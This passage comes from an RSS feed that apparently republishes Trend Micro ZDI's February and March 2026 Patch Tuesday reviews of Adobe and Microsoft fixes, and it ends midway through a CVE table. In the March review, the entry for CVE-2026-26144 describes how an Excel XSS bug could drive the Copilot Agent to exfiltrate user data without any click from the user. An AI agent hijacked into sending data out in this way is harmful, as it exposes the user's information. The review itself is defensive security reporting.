  <p class=""><em>* Indicates this CVE had been released by a third party and is now being included in Microsoft releases</em>.</p><p class=""><em>† Indicates further administrative actions are required to fully address the vulnerability.</em></p><p class=""><em> </em></p><p class="">Moving on to the Critical-rated bugs, the patch for Azure Front Door sounds frightening, but Microsoft has already fixed the bug and is just now documenting it. That’s also true for the bugs in Azure Arc and Azure Function. There are two Critical-rated bugs in the ACI Confidential Containers. The first allows a container escape while the second discloses secret tokens and keys. Either way, you’ll want to handle those quickly.</p><p class="">Taking a look at the other code execution vulnerabilities in this month’s release, we start with a frightening looking bug in Azure SDK for Python that has the highest CVSS this month of 9.8. A remote, unauthenticated attacker code gain code execution on an affected system via a maliciously crafted continuation token. It’s not clear why this isn’t rated Critical, but I would treat it as such. The three bugs in Hyper-V are actually local open-and-own bugs that require a user to open a malicious file on an affected system. That’s also true for the bug in Notepad. The bug in Power BI is confusing, because Microsoft says it requires authentication and could lead to an attacker running code as an authenticated user. There’s the poorly named “Azure Local Remote Code Execution Vulnerability”, but it requires a machine-in-the-middle (MitM) to exploit. The bug in Defender for Endpoint Linux is restricted to local subnets, but you’ll need to enable auto provisioning to get the patch. The final code execution bugs addressed this month are in GitHub Copilot. Two are command injections and the other is a Time-of-check time-of-use (toctou) race condition, but both could end up in code execution on affected systems.</p><p class="">Patches for Elevation of Privilege (EoP) bugs make up nearly 50% of this release, but most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges. There are only two of note. The first is a command injection bug in GitHub Copilot that leads to executing code at the level of the targeted application. The second is a bug in a kernel that leads to SYSTEM but could also be used for a sandbox escape.</p><p class="">There’s a unusually high number of spoofing bugs in this month’s release, and the ones for Outlook are the most troubling. First, the Preview Pane is an attack vector. Secondly, the bugs could be used to relay NTLM credentials via just an email, which could result in credential disclosure. And you’ll need multiple patches to fully address these bugs. At least they can be applied in any order.  There’s a UI misrepresentation bug in Exchange Server that could allow an attacker to either view some sensitive information or “make changes to disclosed information”. At what point does data become disclosed? That odd phrasing makes me think they are using AI to right some of their descriptions. The phrasing also appears in the patch for NTLM. That bug is triggered by opening a specially crafted Office doc, and while they explicitly say it could be used to relay NTLM creds, it sure seems that way. The patch for .NET and Visual Studio fixes a bug that allows attackers to bypass header validation, resulting in the service accepting a message it should reject. Finally, the bug in Azure HDInsight is really just a cross-site scripting (XSS) bug. The caveat here is that you need to restart Ambari server in both of the head nodes to have this fix updated. There is also an XSS in Azure Devops Server, but at least it is labelled as such.</p><p class="">There are a couple of additional security feature bypass bugs to discuss. The first is in Hyper-V and bypasses the Virtualization-based Security feature. The other is in GitHub Copilot and Visual Studio Code. It’s another command injection, but this one can be used to bypass authentication. Neat.</p><p class="">Looking at the remaining info disclosure bugs getting patched this month, most simply result in info leaks consisting of unspecified memory contents or memory addresses. The exception is the bug in Azure IoT Explorer. This bug could be used to view the contents of the target user’s local file system.</p><p class="">We end this month’s release with two DoS bugs: one in LDAP and one in GDI+. Neither descriptions from Microsoft provide any usable information.</p><p class="">No new advisories are being released this month.</p><p class=""><strong>Looking Ahead</strong></p><p class="">I plan on being back home for the March release but wherever I’m at, you can rest assured that March 10, I’ll be here to provide my assessment of the release. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The March 2026 Security Update Review]]></title>
<description><![CDATA[I am back in the friendly confines of the Mid-South headquarters of TrendAI ZDI (a.k.a. my home office), and am all set for the third patch Tuesday of 2026. Take a break from your regularly scheduled activities and let’s take a look at the latest security patches from Adobe and Microsoft.If you’d...]]></description>
<link>https://tsecurity.de/de/3694472/it-security-nachrichten/the-march-2026-security-update-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694472/it-security-nachrichten/the-march-2026-security-update-review/</guid>
<pubDate>Sat, 25 Jul 2026 19:00:43 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">I am back in the friendly confines of the Mid-South headquarters of TrendAI ZDI (a.k.a. my home office), and am all set for the third patch Tuesday of 2026. Take a break from your regularly scheduled activities and let’s take a look at the latest security patches from Adobe and Microsoft.If you’d rather watch the full video recap covering the entire release, you can check it out here:</p>





















  
  




  
















  
    
      
    
    
      
        
      
    
    
    



  






  <p class=""><strong>Adobe Patches for March 2026</strong></p><p class="">For March, Adobe released eight bulletins addressing 80 unique CVEs in Adobe Acrobat Reader, Commerce, Illustrator, Substance 3D Painter, Premier Pro, Experience Manager, Substance 3D Stager, and the Adobe DNG Software Development Kit (SDK). Two of these bugs were submitted through the TrendAI ZDI program. If you need to prioritize, the update for <a href="https://helpx.adobe.com/security/products/acrobat/apsb26-26.html">Acrobat</a> likely has the most impact, with the patch fixing two Critical-rated and one Important bugs. The fix for <a href="https://helpx.adobe.com/security/products/experience-manager/apsb26-24.html">Experience Manager</a> is the largest this month with 33 CVEs addressed. However, these are simple cross-site scripting (XSS) bugs, so it’s not too exciting. The fix for <a href="https://helpx.adobe.com/security/products/magento/apsb26-05.html">Commerce</a> is also quite large with 19 CVEs. Most of these are also XSS bugs, but there’s a few security feature bypass bugs in there, too. Adobe actually gives this patch a deployment priority of 2, but it’s not under active attack at the time of release. </p><p class="">The fix for <a href="https://helpx.adobe.com/security/products/illustrator/apsb26-18.html">Illustrator</a> corrects seven bugs, including a few Critical-rated ones. The patch for <a href="https://helpx.adobe.com/security/products/substance3d_painter/apsb26-25.html">Substance 3D Painter</a> fixes nine different CVEs, all rated Important. That’s not the case for <a href="https://helpx.adobe.com/security/products/substance3d_stager/apsb26-29.html">Substance 3D Stager</a>, which fixes six different Critical bugs that could lead to arbitrary code execution. The patch for the <a href="https://helpx.adobe.com/security/products/dng-sdk/apsb26-30.html">Adobe DNG Software Development Kit</a> (SDK) addresses one Critical and one Important bug. Finally, the update for Premiere Pro correct a single, Critical-rated bug that could lead to arbitrary code execution. </p><p class="">None of the bugs fixed by Adobe this month are listed as publicly known or under active attack at the time of release, and beyond the update for Commerce, all of the other updates released by Adobe this month are listed as deployment priority 3.</p><p class=""><strong>Microsoft Patches for March 2026</strong></p><p class="">This month, Microsoft released 84 new CVEs in Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, SQL Server, Hyper-V Server, and the Windows Resilient File System (ReFS). Counting the third-party and Chromium updates listed in the release, it brings to total number of CVEs to 94. Five of these bugs were reported through the TrendAI ZDI program. Eight of these bugs are rated Critical, and the rest are rated Important in severity.</p><p class="">This volume is relatively typical for a March release, and the lack of bugs under active attack is a nice change from last month. There are two vulnerabilities listed as publicly known at the time of release, but none listed as actively exploited.</p><p class="">Let’s take a closer look at some of the more interesting updates for this month, starting with a bug with an AI slant:</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26144"><strong>CVE-2026-26144</strong></a><strong> - Microsoft Excel Information Disclosure Vulnerability<br></strong>This is a fascinating bug and an attack scenario we’re likely to see more often. The vulnerability is a simple cross-site scripting (XSS) bug in Excel, but an attacker could use it to cause the Copilot Agent to exfiltrate data off the target. This essentially makes it a zero-click information disclosure. Although not stated, the disclosure is likely at the level of the logged-on user, so there isn’t a privilege escalation component. Info disclosures rarely get rated Critical, but it makes sense here.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26110"><strong>CVE-2026-26110</strong></a><strong>/</strong><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26113"><strong>CVE-2026-26113</strong></a><strong> - Microsoft Office Remote Code Execution Vulnerability <br></strong>Another month and another pair of Office bugs where the Preview Pane is an exploit vector. I’ve lost count of how many of these bugs have been patched over the last year, but it’s just a matter of time until they start appearing in active exploits. The latest versions of Outlook allow you to hide the Preview Pane, but it isn’t clear if this would mitigate these attacks. The best option is still to test and deploy the update, but considering how many of these patches exist, it’s likely further updates will be needed to fully address these issues.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23669"><strong>CVE-2026-23669</strong></a><strong> - Windows Print Spooler Remote Code Execution Vulnerability<br></strong>Just reading the title makes me twitch with remembrances of <a href="https://en.wikipedia.org/wiki/PrintNightmare">Print Nightmare</a> from a few years ago. This bug works in the same manner as those exploits. An authenticated attacker sends specially crafted messages to an affected system to gain arbitrary code execution. No user interaction is required. Let’s hope we don’t end up in a new nightmare of spooler exploits. Test and deploy this one quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23668"><strong>CVE-2026-23668</strong></a><strong> - Windows Graphics Component Elevation of Privilege Vulnerability<br></strong>This vulnerability was submitted to the ZDI program by Marcin Wiązowski as two separate bugs, and it demonstrates the need for variant investigations when creating security patches. Both cases are caused by the lack of proper locking when performing operations on an object. However, in one case, it’s in the cdd.dll driver while the other is in the win32kfull driver. Either way, an attacker could use these to elevate privileges to SYSTEM and execute arbitrary code. Since the fix for both is to add object locking to the GDI object, the cases are combined into a single CVE. That’s not a problem, but it does show how variants can occur, and fixes should be as broad as possible.</p><p class="">Here’s the full list of CVEs released by Microsoft for March 2026:</p>





















  
  




  


  
    





<link rel="File-List" href="2026_PatchTable-March.fld/filelist.xml">













<table border="0" cellpadding="0" cellspacing="0" width="953">
 <col width="151" class="xl65">
 <col width="263" class="xl66">
 <col width="111" class="xl67" span="4">
 <col width="95" class="xl67">
 <col width="645" class="xl65">
 <tr height="47">
  <td width="151" class="xl65" height="47"><span> </span>CVE<span> </span></td>
  <td width="263" class="xl66"><span> </span>Title<span> </span></td>
  <td width="111" class="xl67"><span> </span>Severity<span> </span></td>
  <td width="111" class="xl67"><span> </span>CVSS<span> </span></td>
  <td width="111" class="xl67"><span> </span>Public</td>
  <td width="111" class="xl67"><span> </span>Exploited<span> </span></td>
  <td width="95" class="xl67"><span> </span>Type<span> </span></td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26127"><span><span> </span>CVE-2026-26127<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>.NET Denial of Service Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl68"><span> </span>Yes<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21262"><span><span> </span>CVE-2026-21262<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>SQL Server Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl68"><span> </span>Yes<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23651"><span><span> </span>CVE-2026-23651<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft ACI Confidential Containers
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">6.7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26124"><span><span> </span>CVE-2026-26124<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft ACI Confidential Containers
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">6.7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26122"><span><span> </span>CVE-2026-26122<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft ACI Confidential Containers
  Information Disclosure Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">6.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21536"><span><span> </span>CVE-2026-21536<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Devices Pricing Program Remote
  Code Execution Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">9.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26144"><span><span> </span>CVE-2026-26144<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Excel Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26110"><span><span> </span>CVE-2026-26110<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Office Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">8.4</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26113"><span><span> </span>CVE-2026-26113<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Office Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">8.4</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26125"><span><span> </span>CVE-2026-26125<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Payment Orchestrator Service Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">8.6</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26131"><span><span> </span>CVE-2026-26131<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>.NET Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25177"><span><span> </span>CVE-2026-25177<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Active Directory Domain Services Elevation
  of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26117"><span><span> </span>CVE-2026-26117<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Arc Enabled Servers - Azure Connected
  Machine Agent Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26130"><span><span> </span>CVE-2026-26130<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>ASP.NET Core Denial of Service
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23661"><span><span> </span>CVE-2026-23661<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Azure IoT Explorer Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23662"><span><span> </span>CVE-2026-23662<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Azure IoT Explorer Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23664"><span><span> </span>CVE-2026-23664<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Azure IoT Explorer Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26121"><span><span> </span>CVE-2026-26121<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Azure IOT Explorer Spoofing
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26118"><span><span> </span>CVE-2026-26118<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Azure MCP Server Tools Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23667"><span><span> </span>CVE-2026-23667<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Broadcast DVR Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25190"><span><span> </span>CVE-2026-25190<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>GDI Remote Code Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25181"><span><span> </span>CVE-2026-25181<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>GDI+ Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="97">
  <td class="xl72" height="97"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26030"><span><span> </span>CVE-2026-26030 *</span></a></td>
  <td width="263" class="xl66"><span> </span>GitHub: CVE-2026-26030 Microsoft Semantic
  Kernel InMemoryVectorStore filter functionality vulnerable<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">9.9</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23654"><span><span> </span>CVE-2026-23654 *</span></a></td>
  <td width="263" class="xl66"><span> </span>GitHub: Zero Shot SCFoundation Remote Code
  Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26141"><span><span> </span>CVE-2026-26141<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Hybrid Worker Extension (Arc-enabled Windows
  VMs) Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23665"><span><span> </span>CVE-2026-23665 †</span></a></td>
  <td width="263" class="xl66"><span> </span>Linux Azure Diagnostic extension (LAD)
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23674"><span><span> </span>CVE-2026-23674<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>MapUrlToZone Security Feature Bypass
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26123"><span><span> </span>CVE-2026-26123<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Authenticator Information
  Disclosure Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">5.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26148"><span><span> </span>CVE-2026-26148 †</span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Azure AD SSH Login extension for
  Linux Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.1</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25167"><span><span> </span>CVE-2026-25167<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Brokering File System Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.4</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26107"><span><span> </span>CVE-2026-26107<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Excel Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26108"><span><span> </span>CVE-2026-26108<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Excel Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26109"><span><span> </span>CVE-2026-26109<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Excel Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.4</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26112"><span><span> </span>CVE-2026-26112<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Excel Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26134"><span><span> </span>CVE-2026-26134<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Office Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26106"><span><span> </span>CVE-2026-26106<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft SharePoint Server Remote Code
  Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26114"><span><span> </span>CVE-2026-26114<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft SharePoint Server Remote Code
  Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26105"><span><span> </span>CVE-2026-26105<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft SharePoint Server Spoofing
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.1</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24283"><span><span> </span>CVE-2026-24283<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Multiple UNC Provider Kernel Driver
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
